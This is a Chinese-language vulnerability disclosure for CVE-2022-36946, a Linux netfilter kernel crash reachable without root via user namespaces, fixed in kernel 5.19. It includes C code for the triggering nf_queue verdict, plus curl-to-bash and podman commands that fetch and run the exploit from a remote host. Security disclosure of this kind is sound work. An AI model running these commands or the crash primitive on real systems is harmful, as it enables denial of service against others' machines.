报告人:Domingo Dirutigliano 和 Nicola Guerrera
当我们在开发 firegex(我们为 CTF 攻防竞赛开发的应用程序防火墙)时,偶然发现了几次内核崩溃。
这个奇怪的行为随后被隔离和分析,最终发现了 netfilter 模块中(特别是 nfnetlink)的这一个潜在安全缺陷。
当发送带有 0 字节 nfta_payload 属性的 nf_queue 裁决时,内核会发生崩溃。
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
这是因为 IP/IPv6 栈在输入钩子之后从数据包中提取了 IP(v6) 头部。
因此,如果用户将数据包截断到头部大小以下,这个 skb_pull() 将导致一个格式错误的 skb,从而引发崩溃。
尝试执行 curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash,即使是普通用户也可以(更多详情见下文)。
使用 Linux 命名空间,特别是用户命名空间(通过 kernel.unprivileged_userns_clone=1 启用),普通用户能够创建网络命名空间,从而使用触发崩溃的相同内核原语。
这将允许你在没有 root 权限的情况下利用该漏洞。
这种情况并不罕见:例如 podman 使用该选项来运行其(无根)容器,并且在一些发行版上默认启用该选项。
你也可以尝试在没有 root 权限的情况下执行漏洞利用,运行:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
或者如果你想即时测试(只需安装 tar 和 curl):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
已在 Linux 内核 5.19 中修复 查看差异
Linux 内核安全团队的原始补丁 在此
它在第六次尝试时成功,所以我们保留了这个名字。

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing